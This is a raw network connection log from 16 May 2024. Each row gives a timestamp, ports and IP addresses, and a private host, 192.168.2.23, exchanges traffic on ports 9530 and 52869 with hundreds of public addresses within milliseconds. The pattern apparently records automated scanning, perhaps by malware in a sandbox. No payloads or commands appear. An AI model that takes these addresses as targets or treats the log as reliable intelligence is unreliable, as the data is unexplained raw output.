May 16, 2024 16:38:53.013514042 CEST	56062	9530	192.168.2.23	171.198.0.112
May 16, 2024 16:38:53.013529062 CEST	52144	9530	192.168.2.23	176.34.191.78
May 16, 2024 16:38:53.013550043 CEST	43520	9530	192.168.2.23	128.215.128.217
May 16, 2024 16:38:53.013556004 CEST	50520	9530	192.168.2.23	139.53.78.113
May 16, 2024 16:38:53.013566017 CEST	36260	9530	192.168.2.23	132.140.67.87
May 16, 2024 16:38:53.013566017 CEST	59624	9530	192.168.2.23	54.249.80.205
May 16, 2024 16:38:53.013575077 CEST	47028	9530	192.168.2.23	84.174.50.35
May 16, 2024 16:38:53.013577938 CEST	39916	9530	192.168.2.23	53.116.0.123
May 16, 2024 16:38:53.013591051 CEST	34452	9530	192.168.2.23	66.81.233.102
May 16, 2024 16:38:53.013597012 CEST	51718	9530	192.168.2.23	42.159.192.68
May 16, 2024 16:38:53.013612986 CEST	36000	9530	192.168.2.23	184.103.88.123
May 16, 2024 16:38:53.013612986 CEST	37926	9530	192.168.2.23	76.236.171.38
May 16, 2024 16:38:53.013612986 CEST	47180	9530	192.168.2.23	150.182.133.125
May 16, 2024 16:38:53.013612986 CEST	52144	9530	192.168.2.23	176.34.191.78
May 16, 2024 16:38:53.013617039 CEST	56062	9530	192.168.2.23	171.198.0.112
May 16, 2024 16:38:53.013637066 CEST	42252	9530	192.168.2.23	66.237.107.46
May 16, 2024 16:38:53.018057108 CEST	52869	44896	223.87.183.87	192.168.2.23
May 16, 2024 16:38:53.018076897 CEST	52869	50792	222.221.120.15	192.168.2.23
May 16, 2024 16:38:53.020890951 CEST	41002	52869	192.168.2.23	155.144.45.25
May 16, 2024 16:38:53.022979975 CEST	52869	59696	2.118.203.229	192.168.2.23
May 16, 2024 16:38:53.022993088 CEST	52869	53770	44.28.226.10	192.168.2.23
May 16, 2024 16:38:53.023025036 CEST	59696	52869	192.168.2.23	2.118.203.229
May 16, 2024 16:38:53.023036957 CEST	53770	52869	192.168.2.23	44.28.226.10
May 16, 2024 16:38:53.024580002 CEST	52869	60204	203.104.93.44	192.168.2.23
May 16, 2024 16:38:53.024585962 CEST	9530	45318	12.159.71.123	192.168.2.23
May 16, 2024 16:38:53.024610043 CEST	9530	55095	76.182.181.134	192.168.2.23
May 16, 2024 16:38:53.024627924 CEST	9530	55095	77.216.136.42	192.168.2.23
May 16, 2024 16:38:53.024633884 CEST	9530	55095	104.24.197.157	192.168.2.23
May 16, 2024 16:38:53.024641991 CEST	9530	55095	187.160.197.177	192.168.2.23
May 16, 2024 16:38:53.024647951 CEST	9530	55095	154.74.106.11	192.168.2.23
May 16, 2024 16:38:53.024653912 CEST	9530	55095	107.101.147.86	192.168.2.23
May 16, 2024 16:38:53.024656057 CEST	9530	55095	119.118.197.99	192.168.2.23
May 16, 2024 16:38:53.024661064 CEST	9530	55095	177.70.2.167	192.168.2.23
May 16, 2024 16:38:53.024667025 CEST	9530	55095	213.207.123.133	192.168.2.23
May 16, 2024 16:38:53.024667025 CEST	55095	9530	192.168.2.23	76.182.181.134
May 16, 2024 16:38:53.024667025 CEST	60204	52869	192.168.2.23	203.104.93.44
May 16, 2024 16:38:53.024676085 CEST	9530	55095	77.141.168.175	192.168.2.23
May 16, 2024 16:38:53.024679899 CEST	55095	9530	192.168.2.23	77.216.136.42
May 16, 2024 16:38:53.024681091 CEST	9530	55095	180.73.143.215	192.168.2.23
May 16, 2024 16:38:53.024687052 CEST	9530	55095	145.117.17.188	192.168.2.23
May 16, 2024 16:38:53.024688005 CEST	9530	55095	126.28.129.202	192.168.2.23
May 16, 2024 16:38:53.024688005 CEST	55095	9530	192.168.2.23	104.24.197.157
May 16, 2024 16:38:53.024693012 CEST	9530	55095	85.63.142.107	192.168.2.23
May 16, 2024 16:38:53.024697065 CEST	55095	9530	192.168.2.23	119.118.197.99
May 16, 2024 16:38:53.024697065 CEST	9530	55095	73.16.223.166	192.168.2.23
May 16, 2024 16:38:53.024698973 CEST	9530	55095	74.6.48.162	192.168.2.23
May 16, 2024 16:38:53.024699926 CEST	9530	55095	109.24.40.63	192.168.2.23
May 16, 2024 16:38:53.024699926 CEST	9530	55095	115.205.170.212	192.168.2.23
May 16, 2024 16:38:53.024719954 CEST	55095	9530	192.168.2.23	107.101.147.86
May 16, 2024 16:38:53.024720907 CEST	55095	9530	192.168.2.23	187.160.197.177
May 16, 2024 16:38:53.024722099 CEST	55095	9530	192.168.2.23	213.207.123.133
May 16, 2024 16:38:53.024728060 CEST	55095	9530	192.168.2.23	154.74.106.11
May 16, 2024 16:38:53.024728060 CEST	55095	9530	192.168.2.23	177.70.2.167
May 16, 2024 16:38:53.024734020 CEST	55095	9530	192.168.2.23	180.73.143.215
May 16, 2024 16:38:53.024744034 CEST	55095	9530	192.168.2.23	74.6.48.162
May 16, 2024 16:38:53.024751902 CEST	55095	9530	192.168.2.23	77.141.168.175
May 16, 2024 16:38:53.024754047 CEST	55095	9530	192.168.2.23	85.63.142.107
May 16, 2024 16:38:53.024759054 CEST	55095	9530	192.168.2.23	73.16.223.166
May 16, 2024 16:38:53.024760962 CEST	55095	9530	192.168.2.23	145.117.17.188
May 16, 2024 16:38:53.024760962 CEST	55095	9530	192.168.2.23	109.24.40.63
May 16, 2024 16:38:53.024776936 CEST	55095	9530	192.168.2.23	126.28.129.202
May 16, 2024 16:38:53.025794029 CEST	55095	9530	192.168.2.23	115.205.170.212
May 16, 2024 16:38:53.025907993 CEST	9530	55095	138.173.90.101	192.168.2.23
May 16, 2024 16:38:53.025932074 CEST	9530	55095	121.184.45.108	192.168.2.23
May 16, 2024 16:38:53.025938988 CEST	9530	55095	153.138.55.64	192.168.2.23
May 16, 2024 16:38:53.025944948 CEST	9530	55095	115.184.179.212	192.168.2.23
May 16, 2024 16:38:53.025949955 CEST	9530	55095	159.156.182.96	192.168.2.23
May 16, 2024 16:38:53.025954962 CEST	9530	55095	65.204.76.147	192.168.2.23
May 16, 2024 16:38:53.025959969 CEST	9530	55095	82.6.198.131	192.168.2.23
May 16, 2024 16:38:53.025964975 CEST	9530	55095	151.220.3.222	192.168.2.23
May 16, 2024 16:38:53.025969982 CEST	55095	9530	192.168.2.23	121.184.45.108
May 16, 2024 16:38:53.025969982 CEST	9530	55095	124.221.72.80	192.168.2.23
May 16, 2024 16:38:53.025976896 CEST	9530	55095	74.228.244.21	192.168.2.23
May 16, 2024 16:38:53.025978088 CEST	9530	55095	134.130.27.181	192.168.2.23
May 16, 2024 16:38:53.025979996 CEST	9530	55095	133.192.129.220	192.168.2.23
May 16, 2024 16:38:53.025980949 CEST	9530	55095	171.101.72.26	192.168.2.23
May 16, 2024 16:38:53.025983095 CEST	9530	55095	106.130.95.47	192.168.2.23
May 16, 2024 16:38:53.025985956 CEST	9530	55095	192.171.195.61	192.168.2.23
May 16, 2024 16:38:53.025990009 CEST	55095	9530	192.168.2.23	138.173.90.101
May 16, 2024 16:38:53.025990963 CEST	55095	9530	192.168.2.23	153.138.55.64
May 16, 2024 16:38:53.026004076 CEST	9530	55095	81.96.111.5	192.168.2.23
May 16, 2024 16:38:53.026005983 CEST	55095	9530	192.168.2.23	159.156.182.96
May 16, 2024 16:38:53.026010990 CEST	55095	9530	192.168.2.23	133.192.129.220
May 16, 2024 16:38:53.026012897 CEST	55095	9530	192.168.2.23	115.184.179.212
May 16, 2024 16:38:53.026014090 CEST	55095	9530	192.168.2.23	134.130.27.181
May 16, 2024 16:38:53.026012897 CEST	55095	9530	192.168.2.23	82.6.198.131
May 16, 2024 16:38:53.026016951 CEST	9530	55095	151.208.242.223	192.168.2.23
May 16, 2024 16:38:53.026024103 CEST	55095	9530	192.168.2.23	106.130.95.47
May 16, 2024 16:38:53.026029110 CEST	9530	55095	27.156.143.44	192.168.2.23
May 16, 2024 16:38:53.026032925 CEST	55095	9530	192.168.2.23	192.171.195.61
May 16, 2024 16:38:53.026038885 CEST	55095	9530	192.168.2.23	65.204.76.147
May 16, 2024 16:38:53.026042938 CEST	9530	55095	115.237.11.104	192.168.2.23
May 16, 2024 16:38:53.026048899 CEST	55095	9530	192.168.2.23	124.221.72.80
May 16, 2024 16:38:53.026052952 CEST	55095	9530	192.168.2.23	151.220.3.222
May 16, 2024 16:38:53.026056051 CEST	9530	55095	200.96.160.22	192.168.2.23
May 16, 2024 16:38:53.026057005 CEST	55095	9530	192.168.2.23	74.228.244.21
May 16, 2024 16:38:53.026057959 CEST	55095	9530	192.168.2.23	171.101.72.26
May 16, 2024 16:38:53.026057959 CEST	55095	9530	192.168.2.23	151.208.242.223
May 16, 2024 16:38:53.026067972 CEST	9530	55095	25.209.166.79	192.168.2.23
May 16, 2024 16:38:53.026068926 CEST	55095	9530	192.168.2.23	27.156.143.44
May 16, 2024 16:38:53.026070118 CEST	55095	9530	192.168.2.23	81.96.111.5
May 16, 2024 16:38:53.026078939 CEST	9530	55095	51.167.175.207	192.168.2.23
May 16, 2024 16:38:53.026083946 CEST	9530	55095	125.156.73.223	192.168.2.23
May 16, 2024 16:38:53.026088953 CEST	9530	55095	192.163.58.78	192.168.2.23
May 16, 2024 16:38:53.026094913 CEST	9530	55095	91.63.142.131	192.168.2.23
May 16, 2024 16:38:53.026097059 CEST	55095	9530	192.168.2.23	115.237.11.104
May 16, 2024 16:38:53.026099920 CEST	9530	55095	91.179.112.51	192.168.2.23
May 16, 2024 16:38:53.026102066 CEST	55095	9530	192.168.2.23	25.209.166.79
May 16, 2024 16:38:53.026103973 CEST	55095	9530	192.168.2.23	200.96.160.22
May 16, 2024 16:38:53.026106119 CEST	9530	55095	57.107.129.204	192.168.2.23
May 16, 2024 16:38:53.026109934 CEST	9530	55095	104.35.154.170	192.168.2.23
May 16, 2024 16:38:53.026114941 CEST	9530	55095	143.255.159.107	192.168.2.23
May 16, 2024 16:38:53.026119947 CEST	9530	55095	74.98.182.233	192.168.2.23
May 16, 2024 16:38:53.026125908 CEST	9530	55095	25.120.57.173	192.168.2.23
May 16, 2024 16:38:53.026129961 CEST	9530	55095	47.105.196.6	192.168.2.23
May 16, 2024 16:38:53.026134968 CEST	9530	55095	149.65.85.169	192.168.2.23
May 16, 2024 16:38:53.026135921 CEST	9530	55095	74.234.219.65	192.168.2.23
May 16, 2024 16:38:53.026135921 CEST	55095	9530	192.168.2.23	192.163.58.78
May 16, 2024 16:38:53.026135921 CEST	55095	9530	192.168.2.23	91.63.142.131
May 16, 2024 16:38:53.026138067 CEST	55095	9530	192.168.2.23	91.179.112.51
May 16, 2024 16:38:53.026138067 CEST	55095	9530	192.168.2.23	57.107.129.204
May 16, 2024 16:38:53.026138067 CEST	55095	9530	192.168.2.23	104.35.154.170
May 16, 2024 16:38:53.026139975 CEST	9530	55095	200.195.173.197	192.168.2.23
May 16, 2024 16:38:53.026145935 CEST	9530	55095	105.52.114.50	192.168.2.23
May 16, 2024 16:38:53.026146889 CEST	9530	55095	58.224.123.100	192.168.2.23
May 16, 2024 16:38:53.026148081 CEST	9530	55095	193.86.46.2	192.168.2.23
May 16, 2024 16:38:53.026153088 CEST	9530	55095	163.166.134.61	192.168.2.23
May 16, 2024 16:38:53.026158094 CEST	9530	55095	153.7.118.191	192.168.2.23
May 16, 2024 16:38:53.026170969 CEST	55095	9530	192.168.2.23	74.98.182.233
May 16, 2024 16:38:53.026171923 CEST	55095	9530	192.168.2.23	25.120.57.173
May 16, 2024 16:38:53.026173115 CEST	55095	9530	192.168.2.23	149.65.85.169
May 16, 2024 16:38:53.026173115 CEST	55095	9530	192.168.2.23	74.234.219.65
May 16, 2024 16:38:53.026175022 CEST	55095	9530	192.168.2.23	51.167.175.207
May 16, 2024 16:38:53.026175976 CEST	55095	9530	192.168.2.23	47.105.196.6
May 16, 2024 16:38:53.026175022 CEST	55095	9530	192.168.2.23	125.156.73.223
May 16, 2024 16:38:53.026175022 CEST	55095	9530	192.168.2.23	143.255.159.107
May 16, 2024 16:38:53.026179075 CEST	55095	9530	192.168.2.23	193.86.46.2
May 16, 2024 16:38:53.026179075 CEST	55095	9530	192.168.2.23	153.7.118.191
May 16, 2024 16:38:53.026197910 CEST	55095	9530	192.168.2.23	200.195.173.197
May 16, 2024 16:38:53.026202917 CEST	55095	9530	192.168.2.23	105.52.114.50
May 16, 2024 16:38:53.026204109 CEST	55095	9530	192.168.2.23	58.224.123.100
May 16, 2024 16:38:53.026225090 CEST	55095	9530	192.168.2.23	163.166.134.61
May 16, 2024 16:38:53.027098894 CEST	9530	55095	85.0.153.214	192.168.2.23
May 16, 2024 16:38:53.027113914 CEST	9530	55095	195.218.248.236	192.168.2.23
May 16, 2024 16:38:53.027123928 CEST	9530	55095	130.159.200.138	192.168.2.23
May 16, 2024 16:38:53.027137041 CEST	9530	55095	157.21.223.184	192.168.2.23
May 16, 2024 16:38:53.027147055 CEST	9530	55095	210.30.21.149	192.168.2.23
May 16, 2024 16:38:53.027158976 CEST	9530	55095	144.181.190.18	192.168.2.23
May 16, 2024 16:38:53.027160883 CEST	55095	9530	192.168.2.23	85.0.153.214
May 16, 2024 16:38:53.027160883 CEST	55095	9530	192.168.2.23	195.218.248.236
May 16, 2024 16:38:53.027172089 CEST	55095	9530	192.168.2.23	130.159.200.138
May 16, 2024 16:38:53.027172089 CEST	9530	55095	220.248.106.244	192.168.2.23
May 16, 2024 16:38:53.027180910 CEST	55095	9530	192.168.2.23	157.21.223.184
May 16, 2024 16:38:53.027184963 CEST	9530	55095	1.108.187.105	192.168.2.23
May 16, 2024 16:38:53.027198076 CEST	9530	55095	45.201.199.113	192.168.2.23
May 16, 2024 16:38:53.027201891 CEST	9530	55095	167.158.143.157	192.168.2.23
May 16, 2024 16:38:53.027204037 CEST	55095	9530	192.168.2.23	210.30.21.149
May 16, 2024 16:38:53.027206898 CEST	9530	55095	36.221.3.158	192.168.2.23
May 16, 2024 16:38:53.027205944 CEST	55095	9530	192.168.2.23	144.181.190.18
May 16, 2024 16:38:53.027210951 CEST	55095	9530	192.168.2.23	220.248.106.244
May 16, 2024 16:38:53.027214050 CEST	9530	55095	25.175.196.19	192.168.2.23
May 16, 2024 16:38:53.027230024 CEST	9530	55095	51.185.137.129	192.168.2.23
May 16, 2024 16:38:53.027236938 CEST	55095	9530	192.168.2.23	1.108.187.105
May 16, 2024 16:38:53.027239084 CEST	9530	55095	62.55.216.187	192.168.2.23
May 16, 2024 16:38:53.027246952 CEST	55095	9530	192.168.2.23	36.221.3.158
May 16, 2024 16:38:53.027251005 CEST	9530	55095	128.247.20.62	192.168.2.23
May 16, 2024 16:38:53.027261019 CEST	55095	9530	192.168.2.23	167.158.143.157
May 16, 2024 16:38:53.027261019 CEST	55095	9530	192.168.2.23	25.175.196.19
May 16, 2024 16:38:53.027261972 CEST	55095	9530	192.168.2.23	45.201.199.113
May 16, 2024 16:38:53.027266026 CEST	9530	55095	209.27.31.74	192.168.2.23
May 16, 2024 16:38:53.027266979 CEST	55095	9530	192.168.2.23	51.185.137.129
May 16, 2024 16:38:53.027283907 CEST	9530	55095	196.183.44.68	192.168.2.23
May 16, 2024 16:38:53.027290106 CEST	55095	9530	192.168.2.23	128.247.20.62
May 16, 2024 16:38:53.027292013 CEST	55095	9530	192.168.2.23	62.55.216.187
May 16, 2024 16:38:53.027295113 CEST	9530	55095	193.161.182.233	192.168.2.23
May 16, 2024 16:38:53.027299881 CEST	9530	55095	170.232.151.104	192.168.2.23
May 16, 2024 16:38:53.027308941 CEST	9530	55095	32.17.173.51	192.168.2.23
May 16, 2024 16:38:53.027312040 CEST	55095	9530	192.168.2.23	209.27.31.74
May 16, 2024 16:38:53.027312994 CEST	9530	55095	156.149.1.96	192.168.2.23
May 16, 2024 16:38:53.027322054 CEST	55095	9530	192.168.2.23	196.183.44.68
May 16, 2024 16:38:53.027333975 CEST	55095	9530	192.168.2.23	193.161.182.233
May 16, 2024 16:38:53.027333975 CEST	55095	9530	192.168.2.23	170.232.151.104
May 16, 2024 16:38:53.027342081 CEST	55095	9530	192.168.2.23	32.17.173.51
May 16, 2024 16:38:53.027360916 CEST	55095	9530	192.168.2.23	156.149.1.96
May 16, 2024 16:38:53.027717113 CEST	9530	55095	151.17.104.28	192.168.2.23
May 16, 2024 16:38:53.027731895 CEST	9530	55095	195.124.53.229	192.168.2.23
May 16, 2024 16:38:53.027740002 CEST	9530	55095	138.127.97.31	192.168.2.23
May 16, 2024 16:38:53.027745962 CEST	9530	55095	1.137.46.78	192.168.2.23
May 16, 2024 16:38:53.027755022 CEST	9530	55095	222.88.85.2	192.168.2.23
May 16, 2024 16:38:53.027760029 CEST	9530	52366	182.196.102.135	192.168.2.23
May 16, 2024 16:38:53.027764082 CEST	55095	9530	192.168.2.23	195.124.53.229
May 16, 2024 16:38:53.027765036 CEST	9530	55095	81.70.177.10	192.168.2.23
May 16, 2024 16:38:53.027770996 CEST	9530	44184	200.180.209.59	192.168.2.23
May 16, 2024 16:38:53.027785063 CEST	55095	9530	192.168.2.23	151.17.104.28
May 16, 2024 16:38:53.027786016 CEST	55095	9530	192.168.2.23	1.137.46.78
May 16, 2024 16:38:53.027786016 CEST	55095	9530	192.168.2.23	138.127.97.31
May 16, 2024 16:38:53.027786016 CEST	55095	9530	192.168.2.23	222.88.85.2
May 16, 2024 16:38:53.027842045 CEST	55095	9530	192.168.2.23	81.70.177.10
May 16, 2024 16:38:53.027868032 CEST	52366	9530	192.168.2.23	182.196.102.135
May 16, 2024 16:38:53.027896881 CEST	44184	9530	192.168.2.23	200.180.209.59
May 16, 2024 16:38:53.027924061 CEST	56466	9530	192.168.2.23	47.23.253.126
May 16, 2024 16:38:53.027924061 CEST	39678	9530	192.168.2.23	164.37.85.105
May 16, 2024 16:38:53.028565884 CEST	9530	55095	97.148.16.168	192.168.2.23
May 16, 2024 16:38:53.028568029 CEST	9530	43400	184.239.3.224	192.168.2.23
May 16, 2024 16:38:53.028569937 CEST	9530	55095	167.150.204.80	192.168.2.23
May 16, 2024 16:38:53.028574944 CEST	9530	50176	95.38.251.201	192.168.2.23
May 16, 2024 16:38:53.028588057 CEST	9530	55095	211.209.10.40	192.168.2.23
May 16, 2024 16:38:53.028598070 CEST	9530	55095	97.137.191.169	192.168.2.23
May 16, 2024 16:38:53.028609037 CEST	9530	55095	91.119.60.189	192.168.2.23
May 16, 2024 16:38:53.028613091 CEST	55095	9530	192.168.2.23	211.209.10.40
May 16, 2024 16:38:53.028619051 CEST	9530	55095	52.206.159.63	192.168.2.23
May 16, 2024 16:38:53.028625011 CEST	55095	9530	192.168.2.23	167.150.204.80
May 16, 2024 16:38:53.028625965 CEST	55095	9530	192.168.2.23	97.148.16.168
May 16, 2024 16:38:53.028629065 CEST	9530	55095	192.117.171.5	192.168.2.23
May 16, 2024 16:38:53.028639078 CEST	9530	55095	211.55.144.95	192.168.2.23
May 16, 2024 16:38:53.028642893 CEST	50176	9530	192.168.2.23	95.38.251.201
May 16, 2024 16:38:53.028655052 CEST	9530	55095	130.179.7.69	192.168.2.23
May 16, 2024 16:38:53.028659105 CEST	55095	9530	192.168.2.23	52.206.159.63
May 16, 2024 16:38:53.028660059 CEST	55095	9530	192.168.2.23	91.119.60.189
May 16, 2024 16:38:53.028672934 CEST	55095	9530	192.168.2.23	97.137.191.169
May 16, 2024 16:38:53.028672934 CEST	55095	9530	192.168.2.23	192.117.171.5
May 16, 2024 16:38:53.028688908 CEST	9530	55095	161.166.65.53	192.168.2.23
May 16, 2024 16:38:53.028690100 CEST	43400	9530	192.168.2.23	184.239.3.224
May 16, 2024 16:38:53.028690100 CEST	55095	9530	192.168.2.23	211.55.144.95
May 16, 2024 16:38:53.028695107 CEST	9530	55095	157.173.73.96	192.168.2.23
May 16, 2024 16:38:53.028697014 CEST	9530	55095	9.35.2.74	192.168.2.23
May 16, 2024 16:38:53.028697014 CEST	55095	9530	192.168.2.23	130.179.7.69
May 16, 2024 16:38:53.028702021 CEST	9530	48970	78.142.95.35	192.168.2.23
May 16, 2024 16:38:53.028703928 CEST	52626	9530	192.168.2.23	211.98.222.85
May 16, 2024 16:38:53.028707981 CEST	9530	55095	204.77.160.116	192.168.2.23
May 16, 2024 16:38:53.028713942 CEST	9530	55095	8.134.72.219	192.168.2.23
May 16, 2024 16:38:53.028716087 CEST	9530	55095	132.0.138.173	192.168.2.23
May 16, 2024 16:38:53.028717041 CEST	9530	55095	132.132.0.19	192.168.2.23
May 16, 2024 16:38:53.028722048 CEST	9530	55095	5.1.15.25	192.168.2.23
May 16, 2024 16:38:53.028724909 CEST	55095	9530	192.168.2.23	161.166.65.53
May 16, 2024 16:38:53.028724909 CEST	45812	9530	192.168.2.23	97.237.110.164
May 16, 2024 16:38:53.028740883 CEST	55095	9530	192.168.2.23	157.173.73.96
May 16, 2024 16:38:53.028748035 CEST	55095	9530	192.168.2.23	9.35.2.74
May 16, 2024 16:38:53.028753996 CEST	55095	9530	192.168.2.23	8.134.72.219
May 16, 2024 16:38:53.028759003 CEST	9530	55095	175.18.100.187	192.168.2.23
May 16, 2024 16:38:53.028769970 CEST	55095	9530	192.168.2.23	5.1.15.25
May 16, 2024 16:38:53.028770924 CEST	55095	9530	192.168.2.23	132.0.138.173
May 16, 2024 16:38:53.028778076 CEST	9530	55095	191.152.73.209	192.168.2.23
May 16, 2024 16:38:53.028780937 CEST	55095	9530	192.168.2.23	204.77.160.116
May 16, 2024 16:38:53.028789043 CEST	9530	55095	139.58.189.212	192.168.2.23
May 16, 2024 16:38:53.028795004 CEST	55095	9530	192.168.2.23	132.132.0.19
May 16, 2024 16:38:53.028799057 CEST	9530	55095	111.241.199.115	192.168.2.23
May 16, 2024 16:38:53.028809071 CEST	9530	55095	135.3.71.89	192.168.2.23
May 16, 2024 16:38:53.028822899 CEST	55095	9530	192.168.2.23	191.152.73.209
May 16, 2024 16:38:53.028826952 CEST	9530	48230	218.32.8.212	192.168.2.23
May 16, 2024 16:38:53.028844118 CEST	48970	9530	192.168.2.23	78.142.95.35
May 16, 2024 16:38:53.028844118 CEST	55095	9530	192.168.2.23	111.241.199.115
May 16, 2024 16:38:53.028845072 CEST	9530	55095	123.61.2.19	192.168.2.23
May 16, 2024 16:38:53.028851032 CEST	55095	9530	192.168.2.23	135.3.71.89
May 16, 2024 16:38:53.028851032 CEST	9530	55095	131.187.70.123	192.168.2.23
May 16, 2024 16:38:53.028852940 CEST	9530	55095	103.229.93.70	192.168.2.23
May 16, 2024 16:38:53.028857946 CEST	9530	55095	84.205.161.158	192.168.2.23
May 16, 2024 16:38:53.028857946 CEST	55095	9530	192.168.2.23	175.18.100.187
May 16, 2024 16:38:53.028862953 CEST	9530	55095	137.95.8.127	192.168.2.23
May 16, 2024 16:38:53.028867960 CEST	9530	55095	122.221.40.42	192.168.2.23
May 16, 2024 16:38:53.028872967 CEST	9530	55095	4.140.160.120	192.168.2.23
May 16, 2024 16:38:53.028878927 CEST	9530	40886	66.21.52.212	192.168.2.23
May 16, 2024 16:38:53.028883934 CEST	9530	55095	138.227.24.50	192.168.2.23
May 16, 2024 16:38:53.028886080 CEST	55095	9530	192.168.2.23	103.229.93.70
May 16, 2024 16:38:53.028887987 CEST	55095	9530	192.168.2.23	131.187.70.123
May 16, 2024 16:38:53.028887987 CEST	55095	9530	192.168.2.23	84.205.161.158
May 16, 2024 16:38:53.028888941 CEST	9530	55095	222.117.169.224	192.168.2.23
May 16, 2024 16:38:53.028891087 CEST	9530	55095	140.175.247.158	192.168.2.23
May 16, 2024 16:38:53.028891087 CEST	55095	9530	192.168.2.23	123.61.2.19
May 16, 2024 16:38:53.028896093 CEST	9530	55095	191.9.169.144	192.168.2.23
May 16, 2024 16:38:53.028899908 CEST	9530	55095	207.196.74.210	192.168.2.23
May 16, 2024 16:38:53.028903961 CEST	9530	55095	113.149.229.82	192.168.2.23
May 16, 2024 16:38:53.028908968 CEST	55095	9530	192.168.2.23	4.140.160.120
May 16, 2024 16:38:53.028918982 CEST	55095	9530	192.168.2.23	138.227.24.50
May 16, 2024 16:38:53.028922081 CEST	55095	9530	192.168.2.23	139.58.189.212
May 16, 2024 16:38:53.028935909 CEST	55095	9530	192.168.2.23	140.175.247.158
May 16, 2024 16:38:53.028935909 CEST	55095	9530	192.168.2.23	207.196.74.210
May 16, 2024 16:38:53.028935909 CEST	55095	9530	192.168.2.23	222.117.169.224
May 16, 2024 16:38:53.028938055 CEST	55095	9530	192.168.2.23	137.95.8.127
May 16, 2024 16:38:53.028938055 CEST	55095	9530	192.168.2.23	191.9.169.144
May 16, 2024 16:38:53.028951883 CEST	55095	9530	192.168.2.23	122.221.40.42
May 16, 2024 16:38:53.028965950 CEST	55095	9530	192.168.2.23	113.149.229.82
May 16, 2024 16:38:53.028965950 CEST	51700	9530	192.168.2.23	98.58.140.43
May 16, 2024 16:38:53.029016018 CEST	40886	9530	192.168.2.23	66.21.52.212
May 16, 2024 16:38:53.029016018 CEST	52144	9530	192.168.2.23	9.242.152.172
May 16, 2024 16:38:53.029019117 CEST	48230	9530	192.168.2.23	218.32.8.212
May 16, 2024 16:38:53.029110909 CEST	43706	9530	192.168.2.23	109.12.160.31
May 16, 2024 16:38:53.029594898 CEST	9530	55095	216.112.20.8	192.168.2.23
May 16, 2024 16:38:53.029608965 CEST	9530	55095	138.54.226.232	192.168.2.23
May 16, 2024 16:38:53.029623985 CEST	9530	55095	69.149.127.208	192.168.2.23
May 16, 2024 16:38:53.029633999 CEST	9530	40424	146.194.218.108	192.168.2.23
May 16, 2024 16:38:53.029643059 CEST	9530	50732	181.184.115.140	192.168.2.23
May 16, 2024 16:38:53.029649973 CEST	55095	9530	192.168.2.23	216.112.20.8
May 16, 2024 16:38:53.029649973 CEST	55095	9530	192.168.2.23	138.54.226.232
May 16, 2024 16:38:53.029653072 CEST	9530	55095	188.199.92.93	192.168.2.23
May 16, 2024 16:38:53.029661894 CEST	55095	9530	192.168.2.23	69.149.127.208
May 16, 2024 16:38:53.029670000 CEST	9530	55095	101.90.173.178	192.168.2.23
May 16, 2024 16:38:53.029683113 CEST	9530	55095	41.111.202.174	192.168.2.23
May 16, 2024 16:38:53.029692888 CEST	9530	55095	133.237.196.169	192.168.2.23
May 16, 2024 16:38:53.029696941 CEST	55095	9530	192.168.2.23	188.199.92.93
May 16, 2024 16:38:53.029696941 CEST	40424	9530	192.168.2.23	146.194.218.108
May 16, 2024 16:38:53.029701948 CEST	9530	49294	52.10.247.21	192.168.2.23
May 16, 2024 16:38:53.029712915 CEST	55095	9530	192.168.2.23	41.111.202.174
May 16, 2024 16:38:53.029716015 CEST	9530	55095	201.135.97.142	192.168.2.23
May 16, 2024 16:38:53.029730082 CEST	55095	9530	192.168.2.23	101.90.173.178
May 16, 2024 16:38:53.029736996 CEST	9530	55095	53.79.24.206	192.168.2.23
May 16, 2024 16:38:53.029738903 CEST	9530	55095	73.136.192.69	192.168.2.23
May 16, 2024 16:38:53.029742956 CEST	9530	55095	125.86.139.153	192.168.2.23
May 16, 2024 16:38:53.029748917 CEST	9530	55095	118.105.3.44	192.168.2.23
May 16, 2024 16:38:53.029750109 CEST	50732	9530	192.168.2.23	181.184.115.140
May 16, 2024 16:38:53.029755116 CEST	9530	55095	53.239.24.181	192.168.2.23
May 16, 2024 16:38:53.029757977 CEST	55095	9530	192.168.2.23	201.135.97.142
May 16, 2024 16:38:53.029762030 CEST	9530	55095	185.83.183.55	192.168.2.23
May 16, 2024 16:38:53.029767036 CEST	9530	55095	131.172.184.52	192.168.2.23
May 16, 2024 16:38:53.029772043 CEST	9530	35506	216.113.15.237	192.168.2.23
May 16, 2024 16:38:53.029772997 CEST	55095	9530	192.168.2.23	53.79.24.206
May 16, 2024 16:38:53.029776096 CEST	9530	55095	54.59.221.200	192.168.2.23
May 16, 2024 16:38:53.029778957 CEST	9530	55095	63.137.182.65	192.168.2.23
May 16, 2024 16:38:53.029784918 CEST	9530	55095	88.231.21.13	192.168.2.23
May 16, 2024 16:38:53.029794931 CEST	9530	53626	80.140.161.132	192.168.2.23
May 16, 2024 16:38:53.029808998 CEST	55095	9530	192.168.2.23	185.83.183.55
May 16, 2024 16:38:53.029812098 CEST	9530	55095	139.181.167.20	192.168.2.23
May 16, 2024 16:38:53.029813051 CEST	55095	9530	192.168.2.23	73.136.192.69
May 16, 2024 16:38:53.029813051 CEST	55095	9530	192.168.2.23	125.86.139.153
May 16, 2024 16:38:53.029813051 CEST	55095	9530	192.168.2.23	63.137.182.65
May 16, 2024 16:38:53.029814005 CEST	55095	9530	192.168.2.23	133.237.196.169
May 16, 2024 16:38:53.029814959 CEST	55095	9530	192.168.2.23	131.172.184.52
May 16, 2024 16:38:53.029817104 CEST	55095	9530	192.168.2.23	88.231.21.13
May 16, 2024 16:38:53.029819965 CEST	9530	55095	117.249.47.152	192.168.2.23
May 16, 2024 16:38:53.029829979 CEST	9530	38580	58.37.245.134	192.168.2.23
May 16, 2024 16:38:53.029839993 CEST	9530	55095	134.149.213.145	192.168.2.23
May 16, 2024 16:38:53.029849052 CEST	55095	9530	192.168.2.23	118.105.3.44
May 16, 2024 16:38:53.029849052 CEST	55095	9530	192.168.2.23	53.239.24.181
May 16, 2024 16:38:53.029849052 CEST	55095	9530	192.168.2.23	54.59.221.200
May 16, 2024 16:38:53.029853106 CEST	9530	55095	111.188.110.51	192.168.2.23
May 16, 2024 16:38:53.029855967 CEST	55095	9530	192.168.2.23	139.181.167.20
May 16, 2024 16:38:53.029855967 CEST	49294	9530	192.168.2.23	52.10.247.21
May 16, 2024 16:38:53.029860973 CEST	55095	9530	192.168.2.23	117.249.47.152
May 16, 2024 16:38:53.029864073 CEST	9530	55095	161.243.167.144	192.168.2.23
May 16, 2024 16:38:53.029875994 CEST	9530	55095	76.9.144.86	192.168.2.23
